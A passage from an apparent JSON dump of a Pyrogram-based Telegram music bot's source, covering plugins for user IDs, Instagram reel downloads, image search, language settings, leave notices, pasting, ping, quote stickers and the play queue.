{dev}\\n<b>ᴅᴇsᴄʀɪᴘᴛɪᴏɴ </b>: {ca}\"\n    try:\n        await message.reply_photo(icon, caption=info)\n        await cbb.delete()\n    except Exception as e:\n        await message.reply_text(e)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/id.py",
    "content": "from BrandrdXMusic import app\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\n@app.on_message(filters.command(\"id\"))\ndef ids(_, message):\n    reply = message.reply_to_message\n    if reply:\n        button = InlineKeyboardButton(\"✯ ᴄʟᴏsᴇ ✯\", callback_data=\"close\")\n        markup = InlineKeyboardMarkup([[button]])\n        message.reply_text(\n            f\"User {reply.from_user.first_name} ID is : {reply.from_user.id}\",\n            reply_markup=markup\n        )\n    else:\n        button = InlineKeyboardButton(\"✯ ᴄʟᴏsᴇ ✯\", callback_data=\"close\")\n        markup = InlineKeyboardMarkup([[button]])\n        message.reply(\n           f\"ᴛʜɪs ɢʀᴏᴜᴩ's ɪᴅ ɪs: {message.chat.id}\",\n           reply_markup=markup\n        )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/ig.py",
    "content": "import requests\nfrom pyrogram import filters\n\nfrom BrandrdXMusic import app\n\n\n@app.on_message(filters.command([\"ig\", \"instagram\", \"reel\"]))\nasync def download_instagram_video(client, message):\n    if len(message.command) < 2:\n        await message.reply_text(\n            \"Pʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴛʜᴇ Iɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ\"\n        )\n        return\n    a = await message.reply_text(\"ᴘʀᴏᴄᴇssɪɴɢ...\")\n    url = message.text.split()[1]\n    api_url = (\n        f\"https://nodejs-1xn1lcfy3-jobians.vercel.app/v2/downloader/instagram?url={url}\"\n    )\n\n    response = requests.get(api_url)\n    data = response.json()\n\n    if data[\"status\"]:\n        video_url = data[\"data\"][0][\"url\"]\n        await a.delete()\n        await client.send_video(message.chat.id, video_url)\n    else:\n        await a.edit(\"Fᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ʀᴇᴇʟ\")\n\n\n__MODULE__ = \"Iɴsᴛᴀɢʀᴀᴍ\"\n__HELP__ = \"\"\"/reel [ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ ᴜʀʟ] - Tᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ʀᴇᴇʟ ʙʏ ʙᴏᴛ\n/ig [ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ ᴜʀʟ] - Tᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ʀᴇᴇʟ ʙʏ ʙᴏᴛ\n/instagram [ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ ᴜʀʟ] - Tᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ʀᴇᴇʟ ʙʏ ʙᴏᴛ\n\"\"\"\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/image.py",
    "content": "import os\nimport shutil\nfrom re import findall\nfrom bing_image_downloader import downloader\nfrom pyrogram import Client, filters\nfrom pyrogram.types import InputMediaPhoto, Message\nfrom BrandrdXMusic import app\n\n@app.on_message(filters.command([\"imgs\", \"image\"], prefixes=[\"/\", \"!\"]))\nasync def google_img_search(client: Client, message: Message):\n    chat_id = message.chat.id\n\n    try:\n        query = message.text.split(None, 1)[1]\n    except IndexError:\n        return await message.reply(\"Provide an image query to search!\")\n\n    lim = findall(r\"lim=\\d+\", query)\n    try:\n        lim = int(lim[0].replace(\"lim=\", \"\"))\n        query = query.replace(f\"lim={lim}\", \"\")\n    except IndexError:\n        lim = 5  # Default limit to 5 images\n\n    download_dir = \"downloads\"\n\n    try:\n        downloader.download(query, limit=lim, output_dir=download_dir, adult_filter_off=True, force_replace=False, timeout=60)\n        images_dir = os.path.join(download_dir, query)\n        if not os.listdir(images_dir):\n            raise Exception(\"No images were downloaded.\")\n        lst = [os.path.join(images_dir, img) for img in os.listdir(images_dir)][:lim]  # Ensure we only take the number of images specified by lim\n    except Exception as e:\n        return await message.reply(f\"Error in downloading images: {e}\")\n\n    msg = await message.reply(\"𝔹𝕣𝕒𝕟𝕕𝕖𝕕𝕏𝕄𝕒𝕟𝕒𝕘𝕖𝕞𝕖𝕟𝕥 Scrapping images...\")\n\n    count = 0\n    for img in lst:\n        count += 1\n        await msg.edit(f\"=> 𝔹𝕣𝕒𝕟𝕕𝕖𝕕𝕏𝕄𝕒𝕟𝕒𝕘𝕖𝕞𝕖𝕟𝕥 owo scrapped images {count}\")\n\n    try:\n        await app.send_media_group(\n            chat_id=chat_id,\n            media=[InputMediaPhoto(media=img) for img in lst],\n            reply_to_message_id=message.id\n        )\n        shutil.rmtree(images_dir)\n        await msg.delete()\n    except Exception as e:\n        await msg.delete()\n        return await message.reply(f\"Error in sending images: {e}\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/language.py",
    "content": "from pykeyboard import InlineKeyboard\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.database import get_lang, set_lang\nfrom BrandrdXMusic.utils.decorators import (ActualAdminCB, language, languageCB)\nfrom config import BANNED_USERS\nfrom strings import get_string, languages_present\n\n\ndef lanuages_keyboard(_):\n    keyboard = InlineKeyboard(row_width=2)\n    keyboard.add(\n        *[\n            (\n                InlineKeyboardButton(\n                    text=languages_present[i],\n                    callback_data=f\"languages:{i}\",\n                )\n            )\n            for i in languages_present\n        ]\n    )\n    keyboard.row(\n        InlineKeyboardButton(\n            text=_[\"BACK_BUTTON\"],\n            callback_data=f\"settingsback_helper\",\n        ),\n        InlineKeyboardButton(text=_[\"CLOSE_BUTTON\"], callback_data=f\"close\"),\n    )\n    return keyboard\n\n\n@app.on_message(filters.command([\"lang\", \"setlang\", \"language\"]) & ~BANNED_USERS)\n@language\nasync def langs_command(client, message: Message, _):\n    keyboard = lanuages_keyboard(_)\n    await message.reply_text(\n        _[\"lang_1\"].format(message.chat.title, message.chat.id),\n        reply_markup=keyboard,\n    )\n\n\n@app.on_callback_query(filters.regex(\"LG\") & ~BANNED_USERS)\n@languageCB\nasync def lanuagecb(client, CallbackQuery, _):\n    try:\n        await CallbackQuery.answer()\n    except:\n        pass\n    keyboard = lanuages_keyboard(_)\n    return await CallbackQuery.edit_message_reply_markup(reply_markup=keyboard)\n\n\n@app.on_callback_query(filters.regex(r\"languages:(.*?)\") & ~BANNED_USERS)\n@ActualAdminCB\nasync def language_markup(client, CallbackQuery, _):\n    langauge = (CallbackQuery.data).split(\":\")[1]\n    old = await get_lang(CallbackQuery.message.chat.id)\n    if str(old) == str(langauge):\n        return await CallbackQuery.answer(_[\"lang_4\"], show_alert=True)\n    try:\n        _ = get_string(langauge)\n        await CallbackQuery.answer(_[\"lang_2\"], show_alert=True)\n    except:\n        _ = get_string(old)\n        return await CallbackQuery.answer(\n            _[\"lang_3\"],\n            show_alert=True,\n        )\n    await set_lang(CallbackQuery.message.chat.id, langauge)\n    keyboard = lanuages_keyboard(_)\n    return await CallbackQuery.edit_message_reply_markup(reply_markup=keyboard)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/left.py",
    "content": "from BrandrdXMusic import app\nfrom pyrogram import Client, filters\nfrom pyrogram.errors import RPCError\nfrom pyrogram.types import ChatMemberUpdated, InlineKeyboardMarkup, InlineKeyboardButton\nfrom os import environ\nfrom typing import Union, Optional\nfrom PIL import Image, ImageDraw, ImageFont\nimport asyncio\n\n# --------------------------------------------------------------------------------- #\n\nget_font = lambda font_size, font_path: ImageFont.truetype(font_path, font_size)\nresize_text = (\n    lambda text_size, text: (text[:text_size] + \"...\").upper()\n    if len(text) > text_size\n    else text.upper()\n)\n\n# --------------------------------------------------------------------------------- #\n\nasync def get_userinfo_img(\n    bg_path: str,\n    font_path: str,\n    user_id: Union[int, str],\n    profile_path: Optional[str] = None\n):\n    bg = Image.open(bg_path)\n\n    if profile_path:\n        img = Image.open(profile_path)\n        mask = Image.new(\"L\", img.size, 0)\n        draw = ImageDraw.Draw(mask)\n        draw.pieslice([(0, 0), img.size], 0, 360, fill=255)\n\n        circular_img = Image.new(\"RGBA\", img.size, (0, 0, 0, 0))\n        circular_img.paste(img, (0, 0), mask)\n        resized = circular_img.resize((400, 400))\n        bg.paste(resized, (440, 160), resized)\n\n    img_draw = ImageDraw.Draw(bg)\n\n    img_draw.text(\n        (529, 627),\n        text=str(user_id).upper(),\n        font=get_font(46, font_path),\n        fill=(255, 255, 255),\n    )\n\n    path = f\"./userinfo_img_{user_id}.png\"\n    bg.save(path)\n    return path\n\n# --------------------------------------------------------------------------------- #\n\nbg_path = \"BrandrdXMusic/assets/userinfo.png\"\nfont_path = \"BrandrdXMusic/assets/hiroko.ttf\"\n\n# --------------------------------------------------------------------------------- #\n\n# -------------\n\n@app.on_chat_member_updated(filters.group, group=20)\nasync def member_has_left(client: app, member: ChatMemberUpdated):\n\n    if (\n        not member.new_chat_member\n        and member.old_chat_member.status not in {\n            \"banned\", \"left\", \"restricted\"\n        }\n        and member.old_chat_member\n    ):\n        pass\n    else:\n        return\n\n    user = (\n        member.old_chat_member.user\n        if member.old_chat_member\n        else member.from_user\n    )\n\n    # Check if the user has a profile photo\n    if user.photo and user.photo.big_file_id:\n        try:\n            # Add the photo path, caption, and button details\n            photo = await app.download_media(user.photo.big_file_id)\n\n            welcome_photo = await get_userinfo_img(\n                bg_path=bg_path,\n                font_path=font_path,\n                user_id=user.id,\n                profile_path=photo,\n            )\n        \n            caption = f\"**#New_Member_Left**\\n\\n**๏** {user.mention} **ʜᴀs ʟᴇғᴛ ᴛʜɪs ɢʀᴏᴜᴘ**\\n**๏ sᴇᴇ ʏᴏᴜ sᴏᴏɴ ᴀɢᴀɪɴ..!**\"\n            button_text = \"๏ ᴠɪᴇᴡ ᴜsᴇʀ ๏\"\n\n            # Generate a deep link to open the user's profile\n            deep_link = f\"tg://openmessage?user_id={user.id}\"\n\n            # Send the message with the photo, caption, and button\n            message = await client.send_photo(\n                chat_id=member.chat.id,\n                photo=welcome_photo,\n                caption=caption,\n                reply_markup=InlineKeyboardMarkup([\n                    [InlineKeyboardButton(button_text, url=deep_link)]\n                ])\n            )\n\n            # Schedule a task to delete the message after 30 seconds\n            async def delete_message():\n                await asyncio.sleep(30)\n                await message.delete()\n\n            # Run the task\n            asyncio.create_task(delete_message())\n            \n        except RPCError as e:\n            print(e)\n            return\n    else:\n        # Handle the case where the user has no profile photo\n        print(f\"User {user.id} has no profile photo.\")\n        \n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/paste.py",
    "content": "import asyncio\nimport os\nimport re\n\nimport aiofiles\nfrom pykeyboard import InlineKeyboard\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton\n\nfrom aiohttp import ClientSession\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.errors import capture_err\nfrom BrandrdXMusic.utils.pastebin import HottyBin\n\npattern = re.compile(r\"^text/|json$|yaml$|xml$|toml$|x-sh$|x-shellscript$\")\n\n\nasync def isPreviewUp(preview: str) -> bool:\n    for _ in range(7):\n        try:\n            async with session.head(preview, timeout=2) as resp:\n                status = resp.status\n                size = resp.content_length\n        except asyncio.exceptions.TimeoutError:\n            return False\n        if status == 404 or (status == 200 and size == 0):\n            await asyncio.sleep(0.4)\n        else:\n            return True if status == 200 else False\n    return False\n\n\n@app.on_message(filters.command(\"paste\"))\n@capture_err\nasync def paste_func(_, message):\n    if not message.reply_to_message:\n        return await message.reply_text(\"Reply To A Message With /paste\")\n    m = await message.reply_text(\"Pasting...\")\n    if message.reply_to_message.text:\n        content = str(message.reply_to_message.text)\n    elif message.reply_to_message.document:\n        document = message.reply_to_message.document\n        if document.file_size > 1048576:\n            return await m.edit(\"You can only paste files smaller than 1MB.\")\n        if not pattern.search(document.mime_type):\n            return await m.edit(\"Only text files can be pasted.\")\n        doc = await message.reply_to_message.download()\n        async with aiofiles.open(doc, mode=\"r\") as f:\n            content = await f.read()\n        os.remove(doc)\n    link = await HottyBin(content)\n    preview = link \n    button = InlineKeyboard(row_width=1)\n    button.add(InlineKeyboardButton(text=\"• ᴘᴀsᴛᴇ ʟɪɴᴋ •\", url=link))\n\n    await m.delete()\n    try:\n        await message.reply(\"ʜᴇʀᴇ ɪs ʏᴏᴜʀ ᴘᴀsᴛᴇ ʟɪɴᴋ :\", quote=False, reply_markup=button)\n        \n    except Exception:\n        pass\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/ping.py",
    "content": "from datetime import datetime\n\nfrom pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.utils import bot_sys_stats\nfrom BrandrdXMusic.utils.decorators.language import language\nfrom BrandrdXMusic.utils.inline import supp_markup\nfrom config import BANNED_USERS, PING_IMG_URL\n\n\n@app.on_message(filters.command([\"ping\", \"alive\"]) & ~BANNED_USERS)\n@language\nasync def ping_com(client, message: Message, _):\n    start = datetime.now()\n    response = await message.reply_photo(\n        photo=PING_IMG_URL,\n        caption=_[\"ping_1\"].format(app.mention),\n    )\n    pytgping = await Hotty.ping()\n    UP, CPU, RAM, DISK = await bot_sys_stats()\n    resp = (datetime.now() - start).microseconds / 1000\n    await response.edit_text(\n        _[\"ping_2\"].format(resp, app.mention, UP, RAM, CPU, DISK, pytgping),\n        reply_markup=supp_markup(_),\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/q.py",
    "content": "from io import BytesIO\n\nfrom httpx import AsyncClient, Timeout\nfrom pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\n\nfetch = AsyncClient(\n    http2=True,\n    verify=False,\n    headers={\n        \"Accept-Language\": \"id-ID\",\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edge/107.0.1418.42\",\n    },\n    timeout=Timeout(20),\n)\n\n\nclass QuotlyException(Exception):\n    pass\n\n\nasync def get_message_sender_id(ctx: Message):\n    if ctx.forward_date:\n        if ctx.forward_sender_name:\n            return 1\n        elif ctx.forward_from:\n            return ctx.forward_from.id\n        elif ctx.forward_from_chat:\n            return ctx.forward_from_chat.id\n        else:\n            return 1\n    elif ctx.from_user:\n        return ctx.from_user.id\n    elif ctx.sender_chat:\n        return ctx.sender_chat.id\n    else:\n        return 1\n\n\nasync def get_message_sender_name(ctx: Message):\n    if ctx.forward_date:\n        if ctx.forward_sender_name:\n            return ctx.forward_sender_name\n        elif ctx.forward_from:\n            return (\n                f\"{ctx.forward_from.first_name} {ctx.forward_from.last_name}\"\n                if ctx.forward_from.last_name\n                else ctx.forward_from.first_name\n            )\n\n        elif ctx.forward_from_chat:\n            return ctx.forward_from_chat.title\n        else:\n            return \"\"\n    elif ctx.from_user:\n        if ctx.from_user.last_name:\n            return f\"{ctx.from_user.first_name} {ctx.from_user.last_name}\"\n        else:\n            return ctx.from_user.first_name\n    elif ctx.sender_chat:\n        return ctx.sender_chat.title\n    else:\n        return \"\"\n\n\nasync def get_custom_emoji(ctx: Message):\n    if ctx.forward_date:\n        return (\n            \"\"\n            if ctx.forward_sender_name\n            or not ctx.forward_from\n            and ctx.forward_from_chat\n            or not ctx.forward_from\n            else ctx.forward_from.emoji_status.custom_emoji_id\n        )\n\n    return ctx.from_user.emoji_status.custom_emoji_id if ctx.from_user else \"\"\n\n\nasync def get_message_sender_username(ctx: Message):\n    if ctx.forward_date:\n        if (\n            not ctx.forward_sender_name\n            and not ctx.forward_from\n            and ctx.forward_from_chat\n            and ctx.forward_from_chat.username\n        ):\n            return ctx.forward_from_chat.username\n        elif (\n            not ctx.forward_sender_name\n            and not ctx.forward_from\n            and ctx.forward_from_chat\n            or ctx.forward_sender_name\n            or not ctx.forward_from\n        ):\n            return \"\"\n        else:\n            return ctx.forward_from.username or \"\"\n    elif ctx.from_user and ctx.from_user.username:\n        return ctx.from_user.username\n    elif (\n        ctx.from_user\n        or ctx.sender_chat\n        and not ctx.sender_chat.username\n        or not ctx.sender_chat\n    ):\n        return \"\"\n    else:\n        return ctx.sender_chat.username\n\n\nasync def get_message_sender_photo(ctx: Message):\n    if ctx.forward_date:\n        if (\n            not ctx.forward_sender_name\n            and not ctx.forward_from\n            and ctx.forward_from_chat\n            and ctx.forward_from_chat.photo\n        ):\n            return {\n                \"small_file_id\": ctx.forward_from_chat.photo.small_file_id,\n                \"small_photo_unique_id\": ctx.forward_from_chat.photo.small_photo_unique_id,\n                \"big_file_id\": ctx.forward_from_chat.photo.big_file_id,\n                \"big_photo_unique_id\": ctx.forward_from_chat.photo.big_photo_unique_id,\n            }\n        elif (\n            not ctx.forward_sender_name\n            and not ctx.forward_from\n            and ctx.forward_from_chat\n            or ctx.forward_sender_name\n            or not ctx.forward_from\n        ):\n            return \"\"\n        else:\n            return (\n                {\n                    \"small_file_id\": ctx.forward_from.photo.small_file_id,\n                    \"small_photo_unique_id\": ctx.forward_from.photo.small_photo_unique_id,\n                    \"big_file_id\": ctx.forward_from.photo.big_file_id,\n                    \"big_photo_unique_id\": ctx.forward_from.photo.big_photo_unique_id,\n                }\n                if ctx.forward_from.photo\n                else \"\"\n            )\n\n    elif ctx.from_user and ctx.from_user.photo:\n        return {\n            \"small_file_id\": ctx.from_user.photo.small_file_id,\n            \"small_photo_unique_id\": ctx.from_user.photo.small_photo_unique_id,\n            \"big_file_id\": ctx.from_user.photo.big_file_id,\n            \"big_photo_unique_id\": ctx.from_user.photo.big_photo_unique_id,\n        }\n    elif (\n        ctx.from_user\n        or ctx.sender_chat\n        and not ctx.sender_chat.photo\n        or not ctx.sender_chat\n    ):\n        return \"\"\n    else:\n        return {\n            \"small_file_id\": ctx.sender_chat.photo.small_file_id,\n            \"small_photo_unique_id\": ctx.sender_chat.photo.small_photo_unique_id,\n            \"big_file_id\": ctx.sender_chat.photo.big_file_id,\n            \"big_photo_unique_id\": ctx.sender_chat.photo.big_photo_unique_id,\n        }\n\n\nasync def get_text_or_caption(ctx: Message):\n    if ctx.text:\n        return ctx.text\n    elif ctx.caption:\n        return ctx.caption\n    else:\n        return \"\"\n\n\nasync def pyrogram_to_quotly(messages, is_reply):\n    if not isinstance(messages, list):\n        messages = [messages]\n    payload = {\n        \"type\": \"quote\",\n        \"format\": \"png\",\n        \"backgroundColor\": \"#1b1429\",\n        \"messages\": [],\n    }\n\n    for message in messages:\n        the_message_dict_to_append = {}\n        if message.entities:\n            the_message_dict_to_append[\"entities\"] = [\n                {\n                    \"type\": entity.type.name.lower(),\n                    \"offset\": entity.offset,\n                    \"length\": entity.length,\n                }\n                for entity in message.entities\n            ]\n        elif message.caption_entities:\n            the_message_dict_to_append[\"entities\"] = [\n                {\n                    \"type\": entity.type.name.lower(),\n                    \"offset\": entity.offset,\n                    \"length\": entity.length,\n                }\n                for entity in message.caption_entities\n            ]\n        else:\n            the_message_dict_to_append[\"entities\"] = []\n        the_message_dict_to_append[\"chatId\"] = await get_message_sender_id(message)\n        the_message_dict_to_append[\"text\"] = await get_text_or_caption(message)\n        the_message_dict_to_append[\"avatar\"] = True\n        the_message_dict_to_append[\"from\"] = {}\n        the_message_dict_to_append[\"from\"][\"id\"] = await get_message_sender_id(message)\n        the_message_dict_to_append[\"from\"][\"name\"] = await get_message_sender_name(\n            message\n        )\n        the_message_dict_to_append[\"from\"][\"username\"] = (\n            await get_message_sender_username(message)\n        )\n        the_message_dict_to_append[\"from\"][\"type\"] = message.chat.type.name.lower()\n        the_message_dict_to_append[\"from\"][\"photo\"] = await get_message_sender_photo(\n            message\n        )\n        if message.reply_to_message and is_reply:\n            the_message_dict_to_append[\"replyMessage\"] = {\n                \"name\": await get_message_sender_name(message.reply_to_message),\n                \"text\": await get_text_or_caption(message.reply_to_message),\n                \"chatId\": await get_message_sender_id(message.reply_to_message),\n            }\n        else:\n            the_message_dict_to_append[\"replyMessage\"] = {}\n        payload[\"messages\"].append(the_message_dict_to_append)\n    r = await fetch.post(\"https://bot.lyo.su/quote/generate.png\", json=payload)\n    if not r.is_error:\n        return r.read()\n    else:\n        raise QuotlyException(r.json())\n\n\ndef isArgInt(txt) -> list:\n    count = txt\n    try:\n        count = int(count)\n        return [True, count]\n    except ValueError:\n        return [False, 0]\n\n\n@app.on_message(filters.command([\"q\", \"r\"]) & filters.reply)\nasync def msg_quotly_cmd(self: app, ctx: Message):\n    ww = await ctx.reply_text(\"ᴡᴀɪᴛ ᴀ sᴇᴄᴏɴᴅ......\")\n    is_reply = False\n    if ctx.command[0].endswith(\"r\"):\n        is_reply = True\n    if len(ctx.text.split()) > 1:\n        check_arg = isArgInt(ctx.command[1])\n        if check_arg[0]:\n            if check_arg[1] < 2 or check_arg[1] > 10:\n                await ww.delete()\n                return await ctx.reply_msg(\"Invalid range\", del_in=6)\n            try:\n                messages = [\n                    i\n                    for i in await self.get_messages(\n                        chat_id=ctx.chat.id,\n                        message_ids=range(\n                            ctx.reply_to_message.id,\n                            ctx.reply_to_message.id + (check_arg[1] + 5),\n                        ),\n                        replies=-1,\n                    )\n                    if not i.empty and not i.media\n                ]\n            except Exception:\n                return await ctx.reply_text(\"🤷🏻‍♂️\")\n            try:\n                make_quotly = await pyrogram_to_quotly(messages, is_reply=is_reply)\n                bio_sticker = BytesIO(make_quotly)\n                bio_sticker.name = \"misskatyquote_sticker.webp\"\n                await ww.delete()\n                return await ctx.reply_sticker(bio_sticker)\n            except Exception:\n                await ww.delete()\n                return await ctx.reply_msg(\"🤷🏻‍♂️\")\n    try:\n        messages_one = await self.get_messages(\n            chat_id=ctx.chat.id, message_ids=ctx.reply_to_message.id, replies=-1\n        )\n        messages = [messages_one]\n    except Exception:\n        await ww.delete()\n        return await ctx.reply_msg(\"🤷🏻‍♂️\")\n    try:\n        make_quotly = await pyrogram_to_quotly(messages, is_reply=is_reply)\n        bio_sticker = BytesIO(make_quotly)\n        bio_sticker.name = \"misskatyquote_sticker.webp\"\n        await ww.delete()\n        return await ctx.reply_sticker(bio_sticker)\n    except Exception as e:\n        await ww.delete()\n        return await ctx.reply_msg(f\"ERROR: {e}\")\n\n\n__HELP__ = \"\"\"\n**ǫᴜᴏᴛᴇ ɢᴇɴᴇʀᴀᴛɪᴏɴ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs**\n\nᴜsᴇ ᴛʜᴇsᴇ ᴄᴏᴍᴍᴀɴᴅs ᴛᴏ ᴄʀᴇᴀᴛᴇ ǫᴜᴏᴛᴇs ғʀᴏᴍ ᴍᴇssᴀɢᴇs:\n\n- `/q`: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴀ sɪɴɢʟᴇ ᴍᴇssᴀɢᴇ.\n- `/r`: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴀ sɪɴɢʟᴇ ᴍᴇssᴀɢᴇ ᴀɴᴅ ɪᴛs ʀᴇᴘʟɪᴇᴅ ᴍᴇssᴀɢᴇ.\n\n**ᴇxᴀᴍᴘʟᴇs:**\n- `/q `: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ʀᴇᴘʟɪᴇᴅ ᴍᴇssᴀɢᴇs.\n\n- `/r `: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ʀᴇᴘʟɪᴇᴅ ᴍᴇssᴀɢᴇs.\n\n**ɴᴏᴛᴇ:**\nᴍᴀᴋᴇ sᴜʀᴇ ᴛᴏ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ ғᴏʀ ᴛʜᴇ ǫᴜᴏᴛᴇ ᴄᴏᴍᴍᴀɴᴅ ᴛᴏ ᴡᴏʀᴋ.\n\"\"\"\n\n__MODULE__ = \"Qᴜᴏᴛᴇ\"\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/queue.py",
    "content": "import asyncio\r\nimport os\r\n\r\nfrom pyrogram import filters\r\nfrom pyrogram.errors import FloodWait\r\nfrom pyrogram.types import CallbackQuery, InputMediaPhoto, Message\r\n\r\nimport config\r\nfrom BrandrdXMusic import app\r\nfrom BrandrdXMusic.misc import db\r\nfrom BrandrdXMusic.utils import HottyBin, get_channeplayCB, seconds_to_min\r\nfrom BrandrdXMusic.utils.database import get_cmode, is_active_chat, is_music_playing\r\nfrom BrandrdXMusic.utils.decorators.language import language, languageCB\r\nfrom BrandrdXMusic.utils.inline import queue_back_markup, queue_markup\r\nfrom config import BANNED_USERS\r\n\r\nbasic = {}\r\n\r\n\r\ndef get_image(videoid):\r\n    if os.path.isfile(f\"cache/{videoid}.png\"):\r\n        return f\"cache/{videoid}.png\"\r\n    else:\r\n        return config.YOUTUBE_IMG_URL\r\n\r\n\r\ndef get_duration(playing):\r\n    file_path = playing[0][\"file\"]\r\n    if \"index_\" in file_path or \"live_\" in file_path:\r\n        return \"Unknown\"\r\n    duration_seconds = int(playing[0][\"seconds\"])\r\n    if duration_seconds == 0:\r\n        return \"Unknown\"\r\n    else:\r\n        return \"Inline\"\r\n\r\n\r\n@app.on_message(\r\n    filters.command([\"queue\", \"cqueue\", \"player\", \"cplayer\", \"playing\", \"cplaying\"])\r\n    & filters.group\r\n    & ~BANNED_USERS\r\n)\r\n@language\r\nasync def get_queue(client, message: Message, _):\r\n    if message.command[0][0] == \"c\":\r\n        chat_id = await get_cmode(message.chat.id)\r\n        if chat_id is None:\r\n            return await message.reply_text(_[\"setting_7\"])\r\n        try:\r\n            await app.get_chat(chat_id)\r\n        except:\r\n            return await message.reply_text(_[\"cplay_4\"])\r\n        cplay = True\r\n    else:\r\n        chat_id = message.chat.id\r\n        cplay = False\r\n    if not await is_active_chat(chat_id):\r\n        return await message.reply_text(_[\"general_5\"])\r\n    got = db.get(chat_id)\r\n    if not got:\r\n        return await message.reply_text(_[\"queue_2\"])\r\n    file = got[0][\"file\"]\r\n    videoid = got[0][\"vidid\"]\r\n    user = got[0][\"by\"]\r\n    title = (got[0][\"title\"]).title()\r\n    typo = (got[0][\"streamtype\"]).title()\r\n    DUR = get_duration(got)\r\n    if \"live_\" in file:\r\n        IMAGE = get_image(videoid)\r\n    elif \"vid_\" in file:\r\n        IMAGE = get_image(videoid)\r\n    elif \"index_\" in file:\r\n        IMAGE = config.STREAM_IMG_URL\r\n    else:\r\n        if videoid == \"telegram\":\r\n            IMAGE = (\r\n                config.TELEGRAM_AUDIO_URL\r\n                if typo == \"Audio\"\r\n                else config.TELEGRAM_VIDEO_URL\r\n            )\r\n        elif videoid == \"soundcloud\":\r\n            IMAGE = config.SOUNCLOUD_IMG_URL\r\n        else:\r\n            IMAGE = get_image(videoid)\r\n    send = _[\"queue_6\"] if DUR == \"Unknown\" else _[\"queue_7\"]\r\n    cap = _[\"queue_8\"].format(app.mention, title, typo, user, send)\r\n    upl = (\r\n        queue_markup(_, DUR, \"c\" if cplay else \"g\", videoid)\r\n        if DUR == \"Unknown\"\r\n        else queue_markup(\r\n            _,\r\n            DUR,\r\n            \"c\" if cplay else \"g\",\r\n            videoid,\r\n            seconds_to_min(got[0][\"played\"]),\r\n            got[0][\"dur\"],\r\n        )\r\n    )\r\n    basic[videoid] = True\r\n    mystic = await message.reply_photo(IMAGE, caption=cap, reply_markup=upl)\r\n    if DUR != \"Unknown\":\r\n        try:\r\n            while db[chat_id][0][\"vidid\"] == videoid:\r\n                await asyncio.sleep(5)\r\n                if await is_active_chat(chat_id):\r\n                    if basic[videoid]:\r\n                        if await is_music_playing(chat_id):\r\n                            try:\r\n                                buttons = queue_markup(\r\n                                    _,\r\n                                    DUR,\r\n                                    \"c\" if cplay else \"g\",\r\n                                    videoid,\r\n                                    seconds_to_min(db[chat_id][0][\"played\"]),\r\n                                    db[chat_id][0][\"dur\"],\r\n                                )\r\n                                await mystic.edit_reply_markup(reply_markup=buttons)\r\n                            except FloodWait:\r\n                                pass\r\n                        else:\r\n                            pass\r\n                    else:\r\n                        break\r\n                else:\r\n                    break\r\n        except:\r\n            return\r\n\r\n\r\n@app.on_callback_query(filters.regex(\"GetTimer\") & ~BANNED_USERS)\r\nasync def quite_timer(client, CallbackQuery: CallbackQuery):\r\n    try:\r\n        await CallbackQuery.answer()\r\n    except:\r\n        pass\r\n\r\n\r\n@app.on_callback_query(filters.regex(\"GetQueued\") & ~BANNED_USERS)\r\n@languageCB\r\nasync def queued_tracks(client, CallbackQuery: CallbackQuery, _):\r\n    callback_data = CallbackQuery.data.strip()\r\n    callback_request = callback_data.split(None, 1)[1]\r\n    what, videoid = callback_request.split(\"|\")\r\n    try:\r\n        chat_id, channel = await get_channeplayCB(_, what, CallbackQuery)\r\n    except:\r\n        return\r\n    if not await is_active_chat(chat_id):\r\n        return await CallbackQuery.answer(_[\"general_5\"], show_alert=True)\r\n    got = db.get(chat_id)\r\n    if not got:\r\n        return await CallbackQuery.answer(_[\"queue_2\"], show_alert=True)\r\n    if len(got) == 1:\r\n        return await CallbackQuery.answer(_[\"queue_5\"], show_alert=True)\r\n    await CallbackQuery.answer()\r\n    basic[videoid] = False\r\n    buttons = queue_back_markup(_, what)\r\n    med = InputMediaPhoto(\r\n        media=\"https://te.legra.ph/file/ba39a10ba20736f42f202.jpg\",\r\n        caption=_[\"queue_1\"],\r\n    )\r\n    await 